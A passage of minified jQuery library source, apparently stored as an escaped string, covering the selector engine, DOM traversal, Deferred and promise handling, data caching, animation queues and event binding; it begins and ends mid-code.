in{submit:!0,reset:!0})C.pseudos[e]=pe(e);function me(){}function ve(e){for(var t=0,n=e.length,o=\\\"\\\";t<n;t++)o+=e[t].value;return o}function we(s,e,t){var a=e.dir,c=e.next,u=c||a,d=t&&\\\"parentNode\\\"===u,p=o++;return e.first?function(e,t,n){for(;e=e[a];)if(1===e.nodeType||d)return s(e,t,n);return!1}:function(e,t,n){var o,r,i,l=[k,p];if(n){for(;e=e[a];)if((1===e.nodeType||d)&&s(e,t,n))return!0}else for(;e=e[a];)if(1===e.nodeType||d)if(i=e[E]||(e[E]={}),r=i[e.uniqueID]||(i[e.uniqueID]={}),c&&c===e.nodeName.toLowerCase())e=e[a]||e;else{if((o=r[u])&&o[0]===k&&o[1]===p)return l[2]=o[2];if((r[u]=l)[2]=s(e,t,n))return!0}return!1}}function ye(r){return 1<r.length?function(e,t,n){for(var o=r.length;o--;)if(!r[o](e,t,n))return!1;return!0}:r[0]}function Ce(e,t,n,o,r){for(var i,l=[],s=0,a=e.length,c=null!=t;s<a;s++)(i=e[s])&&(n&&!n(i,o,r)||(l.push(i),c&&t.push(s)));return l}function be(f,h,g,m,v,e){return m&&!m[E]&&(m=be(m)),v&&!v[E]&&(v=be(v,e)),se(function(e,t,n,o){var r,i,l,s=[],a=[],c=t.length,u=e||function(e,t,n){for(var o=0,r=t.length;o<r;o++)ie(e,t[o],n);return n}(h||\\\"*\\\",n.nodeType?[n]:n,[]),d=!f||!e&&h?u:Ce(u,s,f,n,o),p=g?v||(e?f:c||m)?[]:t:d;if(g&&g(d,p,n,o),m)for(r=Ce(p,a),m(r,[],n,o),i=r.length;i--;)(l=r[i])&&(p[a[i]]=!(d[a[i]]=l));if(e){if(v||f){if(v){for(r=[],i=p.length;i--;)(l=p[i])&&r.push(d[i]=l);v(null,p=[],r,o)}for(i=p.length;i--;)(l=p[i])&&-1<(r=v?L(e,l):s[i])&&(e[r]=!(t[r]=l))}}else p=Ce(p===t?p.splice(c,p.length):p),v?v(null,t,p,o):$.apply(t,p)})}function xe(e){for(var r,t,n,o=e.length,i=C.relative[e[0].type],l=i||C.relative[\\\" \\\"],s=i?1:0,a=we(function(e){return e===r},l,!0),c=we(function(e){return-1<L(r,e)},l,!0),u=[function(e,t,n){var o=!i&&(n||t!==b)||((r=t).nodeType?a(e,t,n):c(e,t,n));return r=null,o}];s<o;s++)if(t=C.relative[e[s].type])u=[we(ye(u),t)];else{if((t=C.filter[e[s].type].apply(null,e[s].matches))[E]){for(n=++s;n<o&&!C.relative[e[n].type];n++);return be(1<s&&ye(u),1<s&&ve(e.slice(0,s-1).concat({value:\\\" \\\"===e[s-2].type?\\\"*\\\":\\\"\\\"})).replace(V,\\\"$1\\\"),t,s<n&&xe(e.slice(s,n)),n<o&&xe(e=e.slice(n)),n<o&&ve(e))}u.push(t)}return ye(u)}return me.prototype=C.filters=C.pseudos,C.setFilters=new me,h=ie.tokenize=function(e,t){var n,o,r,i,l,s,a,c=y[e+\\\" \\\"];if(c)return t?0:c.slice(0);for(l=e,s=[],a=C.preFilter;l;){for(i in n&&!(o=B.exec(l))||(o&&(l=l.slice(o[0].length)||l),s.push(r=[])),n=!1,(o=q.exec(l))&&(n=o.shift(),r.push({value:n,type:o[0].replace(V,\\\" \\\")}),l=l.slice(n.length)),C.filter)!(o=U[i].exec(l))||a[i]&&!(o=a[i](o))||(n=o.shift(),r.push({value:n,type:i,matches:o}),l=l.slice(n.length));if(!n)break}return t?l.length:l?ie.error(e):y(e,s).slice(0)},d=ie.compile=function(e,t){var n,m,v,w,y,o,r=[],i=[],l=T[e+\\\" \\\"];if(!l){for(t||(t=h(e)),n=t.length;n--;)(l=xe(t[n]))[E]?r.push(l):i.push(l);(l=T(e,(m=i,w=0<(v=r).length,y=0<m.length,o=function(e,t,n,o,r){var i,l,s,a=0,c=\\\"0\\\",u=e&&[],d=[],p=b,f=e||y&&C.find.TAG(\\\"*\\\",r),h=k+=null==p?1:Math.random()||.1,g=f.length;for(r&&(b=t===R||t||r);c!==g&&null!=(i=f[c]);c++){if(y&&i){for(l=0,t||i.ownerDocument===R||(x(i),n=!S);s=m[l++];)if(s(i,t||R,n)){o.push(i);break}r&&(k=h)}w&&((i=!s&&i)&&a--,e&&u.push(i))}if(a+=c,w&&c!==a){for(l=0;s=v[l++];)s(u,d,t,n);if(e){if(0<a)for(;c--;)u[c]||d[c]||(d[c]=A.call(o));d=Ce(d)}$.apply(o,d),r&&!e&&0<d.length&&1<a+v.length&&ie.uniqueSort(o)}return r&&(k=h,b=p),u},w?se(o):o))).selector=e}return l},g=ie.select=function(e,t,n,o){var r,i,l,s,a,c=\\\"function\\\"==typeof e&&e,u=!o&&h(e=c.selector||e);if(n=n||[],1===u.length){if(2<(i=u[0]=u[0].slice(0)).length&&\\\"ID\\\"===(l=i[0]).type&&9===t.nodeType&&S&&C.relative[i[1].type]){if(!(t=(C.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;c&&(t=t.parentNode),e=e.slice(i.shift().value.length)}for(r=U.needsContext.test(e)?0:i.length;r--&&(l=i[r],!C.relative[s=l.type]);)if((a=C.find[s])&&(o=a(l.matches[0].replace(Z,ee),J.test(i[0].type)&&ge(t.parentNode)||t))){if(i.splice(r,1),!(e=o.length&&ve(i)))return $.apply(n,o),n;break}}return(c||d(e,u))(o,t,!S,n,!t||J.test(e)&&ge(t.parentNode)||t),n},f.sortStable=E.split(\\\"\\\").sort(P).join(\\\"\\\")===E,f.detectDuplicates=!!c,x(),f.sortDetached=ae(function(e){return 1&e.compareDocumentPosition(R.createElement(\\\"fieldset\\\"))}),ae(function(e){return e.innerHTML=\\\"<a href='#'></a>\\\",\\\"#\\\"===e.firstChild.getAttribute(\\\"href\\\")})||ce(\\\"type|href|height|width\\\",function(e,t,n){if(!n)return e.getAttribute(t,\\\"type\\\"===t.toLowerCase()?1:2)}),f.attributes&&ae(function(e){return e.innerHTML=\\\"<input/>\\\",e.firstChild.setAttribute(\\\"value\\\",\\\"\\\"),\\\"\\\"===e.firstChild.getAttribute(\\\"value\\\")})||ce(\\\"value\\\",function(e,t,n){if(!n&&\\\"input\\\"===e.nodeName.toLowerCase())return e.defaultValue}),ae(function(e){return null==e.getAttribute(\\\"disabled\\\")})||ce(F,function(e,t,n){var o;if(!n)return!0===e[t]?t.toLowerCase():(o=e.getAttributeNode(t))&&o.specified?o.value:null}),ie}(R);E.find=y,E.expr=y.selectors,E.expr[\\\":\\\"]=E.expr.pseudos,E.uniqueSort=E.unique=y.uniqueSort,E.text=y.getText,E.isXMLDoc=y.isXML,E.contains=y.contains,E.escapeSelector=y.escape;var C=function(e,t,n){for(var o=[],r=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(r&&E(e).is(n))break;o.push(e)}return o},b=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},x=E.expr.match.needsContext;function k(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var T=/^<([a-z][^\\\\/\\\\0>:\\\\x20\\\\t\\\\r\\\\n\\\\f]*)[\\\\x20\\\\t\\\\r\\\\n\\\\f]*\\\\/?>(?:<\\\\/\\\\1>|)$/i,P=/^.[^:#\\\\[\\\\.,]*$/;function D(e,n,o){return E.isFunction(n)?E.grep(e,function(e,t){return!!n.call(e,t,e)!==o}):n.nodeType?E.grep(e,function(e){return e===n!==o}):\\\"string\\\"!=typeof n?E.grep(e,function(e){return-1<r.call(n,e)!==o}):P.test(n)?E.filter(n,e,o):(n=E.filter(n,e),E.grep(e,function(e){return-1<r.call(n,e)!==o&&1===e.nodeType}))}E.filter=function(e,t,n){var o=t[0];return n&&(e=\\\":not(\\\"+e+\\\")\\\"),1===t.length&&1===o.nodeType?E.find.matchesSelector(o,e)?[o]:[]:E.find.matches(e,E.grep(t,function(e){return 1===e.nodeType}))},E.fn.extend({find:function(e){var t,n,o=this.length,r=this;if(\\\"string\\\"!=typeof e)return this.pushStack(E(e).filter(function(){for(t=0;t<o;t++)if(E.contains(r[t],this))return!0}));for(n=this.pushStack([]),t=0;t<o;t++)E.find(e,r[t],n);return 1<o?E.uniqueSort(n):n},filter:function(e){return this.pushStack(D(this,e||[],!1))},not:function(e){return this.pushStack(D(this,e||[],!0))},is:function(e){return!!D(this,\\\"string\\\"==typeof e&&x.test(e)?E(e):e||[],!1).length}});var A,N=/^(?:\\\\s*(<[\\\\w\\\\W]+>)[^>]*|#([\\\\w-]+))$/,$=E.fn.init=function(e,t,n){var o,r;if(!e)return this;if(n=n||A,\\\"string\\\"==typeof e){if(!(o=\\\"<\\\"===e[0]&&\\\">\\\"===e[e.length-1]&&3<=e.length?[null,e,null]:N.exec(e))||!o[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(o[1]){if(t=t instanceof E?t[0]:t,E.merge(this,E.parseHTML(o[1],t&&t.nodeType?t.ownerDocument||t:S,!0)),T.test(o[1])&&E.isPlainObject(t))for(o in t)E.isFunction(this[o])?this[o](t[o]):this.attr(o,t[o]);return this}return(r=S.getElementById(o[2]))&&(this[0]=r,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):E.isFunction(e)?void 0!==n.ready?n.ready(e):e(E):E.makeArray(e,this)};$.prototype=E.fn,A=E(S);var H=/^(?:parents|prev(?:Until|All))/,L={children:!0,contents:!0,next:!0,prev:!0};function F(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}E.fn.extend({has:function(e){var t=E(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(E.contains(this,t[e]))return!0})},closest:function(e,t){var n,o=0,r=this.length,i=[],l=\\\"string\\\"!=typeof e&&E(e);if(!x.test(e))for(;o<r;o++)for(n=this[o];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(l?-1<l.index(n):1===n.nodeType&&E.find.matchesSelector(n,e))){i.push(n);break}return this.pushStack(1<i.length?E.uniqueSort(i):i)},index:function(e){return e?\\\"string\\\"==typeof e?r.call(E(e),this[0]):r.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(E.uniqueSort(E.merge(this.get(),E(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),E.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return C(e,\\\"parentNode\\\")},parentsUntil:function(e,t,n){return C(e,\\\"parentNode\\\",n)},next:function(e){return F(e,\\\"nextSibling\\\")},prev:function(e){return F(e,\\\"previousSibling\\\")},nextAll:function(e){return C(e,\\\"nextSibling\\\")},prevAll:function(e){return C(e,\\\"previousSibling\\\")},nextUntil:function(e,t,n){return C(e,\\\"nextSibling\\\",n)},prevUntil:function(e,t,n){return C(e,\\\"previousSibling\\\",n)},siblings:function(e){return b((e.parentNode||{}).firstChild,e)},children:function(e){return b(e.firstChild)},contents:function(e){return k(e,\\\"iframe\\\")?e.contentDocument:(k(e,\\\"template\\\")&&(e=e.content||e),E.merge([],e.childNodes))}},function(o,r){E.fn[o]=function(e,t){var n=E.map(this,r,e);return\\\"Until\\\"!==o.slice(-5)&&(t=e),t&&\\\"string\\\"==typeof t&&(n=E.filter(t,n)),1<this.length&&(L[o]||E.uniqueSort(n),H.test(o)&&n.reverse()),this.pushStack(n)}});var _=/[^\\\\x20\\\\t\\\\r\\\\n\\\\f]+/g;function I(e){return e}function M(e){throw e}function W(e,t,n,o){var r;try{e&&E.isFunction(r=e.promise)?r.call(e).done(t).fail(n):e&&E.isFunction(r=e.then)?r.call(e,t,n):t.apply(void 0,[e].slice(o))}catch(e){n.apply(void 0,[e])}}E.Callbacks=function(o){var e,n;o=\\\"string\\\"==typeof o?(e=o,n={},E.each(e.match(_)||[],function(e,t){n[t]=!0}),n):E.extend({},o);var r,t,i,l,s=[],a=[],c=-1,u=function(){for(l=l||o.once,i=r=!0;a.length;c=-1)for(t=a.shift();++c<s.length;)!1===s[c].apply(t[0],t[1])&&o.stopOnFalse&&(c=s.length,t=!1);o.memory||(t=!1),r=!1,l&&(s=t?[]:\\\"\\\")},d={add:function(){return s&&(t&&!r&&(c=s.length-1,a.push(t)),function n(e){E.each(e,function(e,t){E.isFunction(t)?o.unique&&d.has(t)||s.push(t):t&&t.length&&\\\"string\\\"!==E.type(t)&&n(t)})}(arguments),t&&!r&&u()),this},remove:function(){return E.each(arguments,function(e,t){for(var n;-1<(n=E.inArray(t,s,n));)s.splice(n,1),n<=c&&c--}),this},has:function(e){return e?-1<E.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return l=a=[],s=t=\\\"\\\",this},disabled:function(){return!s},lock:function(){return l=a=[],t||r||(s=t=\\\"\\\"),this},locked:function(){return!!l},fireWith:function(e,t){return l||(t=[e,(t=t||[]).slice?t.slice():t],a.push(t),r||u()),this},fire:function(){return d.fireWith(this,arguments),this},fired:function(){return!!i}};return d},E.extend({Deferred:function(e){var i=[[\\\"notify\\\",\\\"progress\\\",E.Callbacks(\\\"memory\\\"),E.Callbacks(\\\"memory\\\"),2],[\\\"resolve\\\",\\\"done\\\",E.Callbacks(\\\"once memory\\\"),E.Callbacks(\\\"once memory\\\"),0,\\\"resolved\\\"],[\\\"reject\\\",\\\"fail\\\",E.Callbacks(\\\"once memory\\\"),E.Callbacks(\\\"once memory\\\"),1,\\\"rejected\\\"]],r=\\\"pending\\\",l={state:function(){return r},always:function(){return s.done(arguments).fail(arguments),this},catch:function(e){return l.then(null,e)},pipe:function(){var r=arguments;return E.Deferred(function(o){E.each(i,function(e,t){var n=E.isFunction(r[t[4]])&&r[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&E.isFunction(e.promise)?e.promise().progress(o.notify).done(o.resolve).fail(o.reject):o[t[0]+\\\"With\\\"](this,n?[e]:arguments)})}),r=null}).promise()},then:function(t,n,o){var a=0;function c(r,i,l,s){return function(){var n=this,o=arguments,e=function(){var e,t;if(!(r<a)){if((e=l.apply(n,o))===i.promise())throw new TypeError(\\\"Thenable self-resolution\\\");t=e&&(\\\"object\\\"==typeof e||\\\"function\\\"==typeof e)&&e.then,E.isFunction(t)?s?t.call(e,c(a,i,I,s),c(a,i,M,s)):(a++,t.call(e,c(a,i,I,s),c(a,i,M,s),c(a,i,I,i.notifyWith))):(l!==I&&(n=void 0,o=[e]),(s||i.resolveWith)(n,o))}},t=s?e:function(){try{e()}catch(e){E.Deferred.exceptionHook&&E.Deferred.exceptionHook(e,t.stackTrace),a<=r+1&&(l!==M&&(n=void 0,o=[e]),i.rejectWith(n,o))}};r?t():(E.Deferred.getStackHook&&(t.stackTrace=E.Deferred.getStackHook()),R.setTimeout(t))}}return E.Deferred(function(e){i[0][3].add(c(0,e,E.isFunction(o)?o:I,e.notifyWith)),i[1][3].add(c(0,e,E.isFunction(t)?t:I)),i[2][3].add(c(0,e,E.isFunction(n)?n:M))}).promise()},promise:function(e){return null!=e?E.extend(e,l):l}},s={};return E.each(i,function(e,t){var n=t[2],o=t[5];l[t[1]]=n.add,o&&n.add(function(){r=o},i[3-e][2].disable,i[0][2].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+\\\"With\\\"](this===s?void 0:this,arguments),this},s[t[0]+\\\"With\\\"]=n.fireWith}),l.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,o=Array(t),r=s.call(arguments),i=E.Deferred(),l=function(t){return function(e){o[t]=this,r[t]=1<arguments.length?s.call(arguments):e,--n||i.resolveWith(o,r)}};if(n<=1&&(W(e,i.done(l(t)).resolve,i.reject,!n),\\\"pending\\\"===i.state()||E.isFunction(r[t]&&r[t].then)))return i.then();for(;t--;)W(r[t],l(t),i.reject);return i.promise()}});var j=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;E.Deferred.exceptionHook=function(e,t){R.console&&R.console.warn&&e&&j.test(e.name)&&R.console.warn(\\\"jQuery.Deferred exception: \\\"+e.message,e.stack,t)},E.readyException=function(e){R.setTimeout(function(){throw e})};var V=E.Deferred();function B(){S.removeEventListener(\\\"DOMContentLoaded\\\",B),R.removeEventListener(\\\"load\\\",B),E.ready()}E.fn.ready=function(e){return V.then(e).catch(function(e){E.readyException(e)}),this},E.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--E.readyWait:E.isReady)||(E.isReady=!0)!==e&&0<--E.readyWait||V.resolveWith(S,[E])}}),E.ready.then=V.then,\\\"complete\\\"===S.readyState||\\\"loading\\\"!==S.readyState&&!S.documentElement.doScroll?R.setTimeout(E.ready):(S.addEventListener(\\\"DOMContentLoaded\\\",B),R.addEventListener(\\\"load\\\",B));var q=function(e,t,n,o,r,i,l){var s=0,a=e.length,c=null==n;if(\\\"object\\\"===E.type(n))for(s in r=!0,n)q(e,t,s,n[s],!0,i,l);else if(void 0!==o&&(r=!0,E.isFunction(o)||(l=!0),c&&(l?(t.call(e,o),t=null):(c=t,t=function(e,t,n){return c.call(E(e),n)})),t))for(;s<a;s++)t(e[s],n,l?o:o.call(e[s],s,t(e[s],n)));return r?e:c?t.call(e):a?t(e[0],n):i},O=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function z(){this.expando=E.expando+z.uid++}z.uid=1,z.prototype={cache:function(e){var t=e[this.expando];return t||(t={},O(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var o,r=this.cache(e);if(\\\"string\\\"==typeof t)r[E.camelCase(t)]=n;else for(o in t)r[E.camelCase(o)]=t[o];return r},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][E.camelCase(t)]},access:function(e,t,n){return void 0===t||t&&\\\"string\\\"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,o=e[this.expando];if(void 0!==o){if(void 0!==t){t=Array.isArray(t)?t.map(E.camelCase):(t=E.camelCase(t))in o?[t]:t.match(_)||[],n=t.length;for(;n--;)delete o[t[n]]}(void 0===t||E.isEmptyObject(o))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!E.isEmptyObject(t)}};var X=new z,U=new z,K=/^(?:\\\\{[\\\\w\\\\W]*\\\\}|\\\\[[\\\\w\\\\W]*\\\\])$/,G=/[A-Z]/g;function Y(e,t,n){var o;if(void 0===n&&1===e.nodeType)if(o=\\\"data-\\\"+t.replace(G,\\\"-$&\\\").toLowerCase(),\\\"string\\\"==typeof(n=e.getAttribute(o))){try{n=function(e){if(\\\"true\\\"===e)return!0;if(\\\"false\\\"===e)return!1;if(\\\"null\\\"===e)return null;if(e===+e+\\\"\\\")return+e;if(K.test(e))return JSON.parse(e);return e}(n)}catch(e){}U.set(e,t,n)}else n=void 0;return n}E.extend({hasData:function(e){return U.hasData(e)||X.hasData(e)},data:function(e,t,n){return U.access(e,t,n)},removeData:function(e,t){U.remove(e,t)},_data:function(e,t,n){return X.access(e,t,n)},_removeData:function(e,t){X.remove(e,t)}}),E.fn.extend({data:function(n,e){var t,o,r,i=this[0],l=i&&i.attributes;if(void 0===n){if(this.length&&(r=U.get(i),1===i.nodeType&&!X.get(i,\\\"hasDataAttrs\\\"))){for(t=l.length;t--;)l[t]&&0===(o=l[t].name).indexOf(\\\"data-\\\")&&(o=E.camelCase(o.slice(5)),Y(i,o,r[o]));X.set(i,\\\"hasDataAttrs\\\",!0)}return r}return\\\"object\\\"==typeof n?this.each(function(){U.set(this,n)}):q(this,function(e){var t;if(i&&void 0===e)return void 0!==(t=U.get(i,n))?t:void 0!==(t=Y(i,n))?t:void 0;this.each(function(){U.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){U.remove(this,e)})}}),E.extend({queue:function(e,t,n){var o;if(e)return t=(t||\\\"fx\\\")+\\\"queue\\\",o=X.get(e,t),n&&(!o||Array.isArray(n)?o=X.access(e,t,E.makeArray(n)):o.push(n)),o||[]},dequeue:function(e,t){t=t||\\\"fx\\\";var n=E.queue(e,t),o=n.length,r=n.shift(),i=E._queueHooks(e,t);\\\"inprogress\\\"===r&&(r=n.shift(),o--),r&&(\\\"fx\\\"===t&&n.unshift(\\\"inprogress\\\"),delete i.stop,r.call(e,function(){E.dequeue(e,t)},i)),!o&&i&&i.empty.fire()},_queueHooks:function(e,t){var n=t+\\\"queueHooks\\\";return X.get(e,n)||X.access(e,n,{empty:E.Callbacks(\\\"once memory\\\").add(function(){X.remove(e,[t+\\\"queue\\\",n])})})}}),E.fn.extend({queue:function(t,n){var e=2;return\\\"string\\\"!=typeof t&&(n=t,t=\\\"fx\\\",e--),arguments.length<e?E.queue(this[0],t):void 0===n?this:this.each(function(){var e=E.queue(this,t,n);E._queueHooks(this,t),\\\"fx\\\"===t&&\\\"inprogress\\\"!==e[0]&&E.dequeue(this,t)})},dequeue:function(e){return this.each(function(){E.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||\\\"fx\\\",[])},promise:function(e,t){var n,o=1,r=E.Deferred(),i=this,l=this.length,s=function(){--o||r.resolveWith(i,[i])};for(\\\"string\\\"!=typeof e&&(t=e,e=void 0),e=e||\\\"fx\\\";l--;)(n=X.get(i[l],e+\\\"queueHooks\\\"))&&n.empty&&(o++,n.empty.add(s));return s(),r.promise(t)}});var Q=/[+-]?(?:\\\\d*\\\\.|)\\\\d+(?:[eE][+-]?\\\\d+|)/.source,J=new RegExp(\\\"^(?:([+-])=|)(\\\"+Q+\\\")([a-z%]*)$\\\",\\\"i\\\"),Z=[\\\"Top\\\",\\\"Right\\\",\\\"Bottom\\\",\\\"Left\\\"],ee=function(e,t){return\\\"none\\\"===(e=t||e).style.display||\\\"\\\"===e.style.display&&E.contains(e.ownerDocument,e)&&\\\"none\\\"===E.css(e,\\\"display\\\")},te=function(e,t,n,o){var r,i,l={};for(i in t)l[i]=e.style[i],e.style[i]=t[i];for(i in r=n.apply(e,o||[]),t)e.style[i]=l[i];return r};function ne(e,t,n,o){var r,i=1,l=20,s=o?function(){return o.cur()}:function(){return E.css(e,t,\\\"\\\")},a=s(),c=n&&n[3]||(E.cssNumber[t]?\\\"\\\":\\\"px\\\"),u=(E.cssNumber[t]||\\\"px\\\"!==c&&+a)&&J.exec(E.css(e,t));if(u&&u[3]!==c)for(c=c||u[3],n=n||[],u=+a||1;u/=i=i||\\\".5\\\",E.style(e,t,u+c),i!==(i=s()/a)&&1!==i&&--l;);return n&&(u=+u||+a||0,r=n[1]?u+(n[1]+1)*n[2]:+n[2],o&&(o.unit=c,o.start=u,o.end=r)),r}var oe={};function re(e){var t,n=e.ownerDocument,o=e.nodeName,r=oe[o];return r||(t=n.body.appendChild(n.createElement(o)),r=E.css(t,\\\"display\\\"),t.parentNode.removeChild(t),\\\"none\\\"===r&&(r=\\\"block\\\"),oe[o]=r)}function ie(e,t){for(var n,o,r=[],i=0,l=e.length;i<l;i++)(o=e[i]).style&&(n=o.style.display,t?(\\\"none\\\"===n&&(r[i]=X.get(o,\\\"display\\\")||null,r[i]||(o.style.display=\\\"\\\")),\\\"\\\"===o.style.display&&ee(o)&&(r[i]=re(o))):\\\"none\\\"!==n&&(r[i]=\\\"none\\\",X.set(o,\\\"display\\\",n)));for(i=0;i<l;i++)null!=r[i]&&(e[i].style.display=r[i]);return e}E.fn.extend({show:function(){return ie(this,!0)},hide:function(){return ie(this)},toggle:function(e){return\\\"boolean\\\"==typeof e?e?this.show():this.hide():this.each(function(){ee(this)?E(this).show():E(this).hide()})}});var le=/^(?:checkbox|radio)$/i,se=/<([a-z][^\\\\/\\\\0>\\\\x20\\\\t\\\\r\\\\n\\\\f]+)/i,ae=/^$|\\\\/(?:java|ecma)script/i,ce={option:[1,\\\"<select multiple='multiple'>\\\",\\\"</select>\\\"],thead:[1,\\\"<table>\\\",\\\"</table>\\\"],col:[2,\\\"<table><colgroup>\\\",\\\"</colgroup></table>\\\"],tr:[2,\\\"<table><tbody>\\\",\\\"</tbody></table>\\\"],td:[3,\\\"<table><tbody><tr>\\\",\\\"</tr></tbody></table>\\\"],_default:[0,\\\"\\\",\\\"\\\"]};function ue(e,t){var n;return n=void 0!==e.getElementsByTagName?e.getElementsByTagName(t||\\\"*\\\"):void 0!==e.querySelectorAll?e.querySelectorAll(t||\\\"*\\\"):[],void 0===t||t&&k(e,t)?E.merge([e],n):n}function de(e,t){for(var n=0,o=e.length;n<o;n++)X.set(e[n],\\\"globalEval\\\",!t||X.get(t[n],\\\"globalEval\\\"))}ce.optgroup=ce.option,ce.tbody=ce.tfoot=ce.colgroup=ce.caption=ce.thead,ce.th=ce.td;var pe,fe,he,ge=/<|&#?\\\\w+;/;function me(e,t,n,o,r){for(var i,l,s,a,c,u,d=t.createDocumentFragment(),p=[],f=0,h=e.length;f<h;f++)if((i=e[f])||0===i)if(\\\"object\\\"===E.type(i))E.merge(p,i.nodeType?[i]:i);else if(ge.test(i)){for(l=l||d.appendChild(t.createElement(\\\"div\\\")),s=(se.exec(i)||[\\\"\\\",\\\"\\\"])[1].toLowerCase(),a=ce[s]||ce._default,l.innerHTML=a[1]+E.htmlPrefilter(i)+a[2],u=a[0];u--;)l=l.lastChild;E.merge(p,l.childNodes),(l=d.firstChild).textContent=\\\"\\\"}else p.push(t.createTextNode(i));for(d.textContent=\\\"\\\",f=0;i=p[f++];)if(o&&-1<E.inArray(i,o))r&&r.push(i);else if(c=E.contains(i.ownerDocument,i),l=ue(d.appendChild(i),\\\"script\\\"),c&&de(l),n)for(u=0;i=l[u++];)ae.test(i.type||\\\"\\\")&&n.push(i);return d}pe=S.createDocumentFragment(),fe=pe.appendChild(S.createElement(\\\"div\\\")),(he=S.createElement(\\\"input\\\")).setAttribute(\\\"type\\\",\\\"radio\\\"),he.setAttribute(\\\"checked\\\",\\\"checked\\\"),he.setAttribute(\\\"name\\\",\\\"t\\\"),fe.appendChild(he),m.checkClone=fe.cloneNode(!0).cloneNode(!0).lastChild.checked,fe.innerHTML=\\\"<textarea>x</textarea>\\\",m.noCloneChecked=!!fe.cloneNode(!0).lastChild.defaultValue;var ve=S.documentElement,we=/^key/,ye=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\\\\.(.+)|)/;function be(){return!0}function xe(){return!1}function Re(){try{return S.activeElement}catch(e){}}function Se(e,t,n,o,r,i){var l,s;if(\\\"object\\\"==typeof t){for(s in\\\"string\\\"!=typeof n&&(o=o||n,n=void 0),t)Se(e,s,n,o,t[s],i);return e}if(null==o&&null==r?(r=n,o=n=void 0):null==r&&(\\\"string\\\"==typeof n?(r=o,o=void 0):(r=o,o=n,n=void 0)),!1===r)r=xe;else if(!r)return e;return 1===i&&(l=r,(r=function(e){return E().off(e),l.apply(this,arguments)}).guid=l.guid||(l.guid=E.guid++)),e.each(function(){E.event.add(this,t,r,o,n)})}E.event={global:{},add:function(t,e,n,o,r){var i,l,s,a,c,u,d,p,f,h,g,m=X.get(t);if(m)for(n.handler&&(n=(i=n).handler,r=i.selector),r&&E.find.matchesSelector(ve,r),n.guid||(n.guid=E.guid++),(a=m.events)||(a=m.events={}),(l=m.handle)||(l=m.handle=function(e){return void 0!==E&&E.event.triggered!==e.type?E.event.dispatch.apply(t,arguments):void 0}),e=(e||\\\"\\\").match(_)||[\\\"\\\"],c=e.length;c--;)s=Ce.exec(e[c])||[],f=g=s[1],h=(s[2]||\\\"\\\").split(\\\".\\\").sort(),f&&(d=E.event.special[f]||{},f=(r?d.delegateType:d.bindType)||f,d=E.event.special[f]||{},u=E.extend({type:f,origType:g,data:o,handler:n,guid:n.guid,selector:r,needsContext:r&&E.expr.match.needsContext.test(r),namespace:h.join(\\\".\\\")},i),(p=a[f])||((p=a[f]=[]).delegateCount=0,d.setup&&!1!==d.setup.call(t,o,h,l)||t.addEventListener&&t.addEventListener(f,l)),d.add&&(d.add.call(t,u),u.handler.guid||(u.handler.guid=n.guid)),r?p.splice(p.delegateCount++,0,u):p.push(u),E.event.global[f]=!0)},remove:function(e,t,n,o,r){var i,l,s,a,c,u,d,p,f,h,g,m=X.hasData(e)&&X.get(e);if(m&&(a=m.events)){for(t=(t||\\\"\\\").match(_)||[\\\"\\\"],c=t.length;c--;)if(s=Ce.exec(t[c])||[],f=g=s[1],h=(s[2]||\\\"\\\").split(\\\".\\\").sort(),f){for(d=E.event.special[f]||{},f=(o?d.delegateType:d.bindType)||f,p=a[f]||[],s=s[2]&&new RegExp(\\\"(^|\\\\\\\\.)\\\"+h.join(\\\"\\\\\\\\.(?:.*\\\\\\\\.|)\\\")+\\\"(\\\\\\\\.|$)\\\"),l=i=p.length;i--;)u=p[i],!r&&g!==u.origType||n&&n.guid!==u.guid||s&&!s.test(u.namespace)||o&&o!==u.selector&&(\\\"**\\\"!==o||!u.selector)||(p.splice(i,1),u.selector&&p.delegateCount--,d.remove&&d.remove.call(e,u));l&&!p.length&&(d.teardown&&!1!==d.teardown.call(e,h,m.handle)||E.removeEvent(e,f,m.handle),delete a[f])}else for(f in a)E.event.remove(e,f+t[c],n,o,!0);E.isEmptyObject(a)&&X.remove(e,\\\"handle events\\\")}},dispatch:function(e){var t,n,o,r,i,l,s=E.event.fix(e),a=new 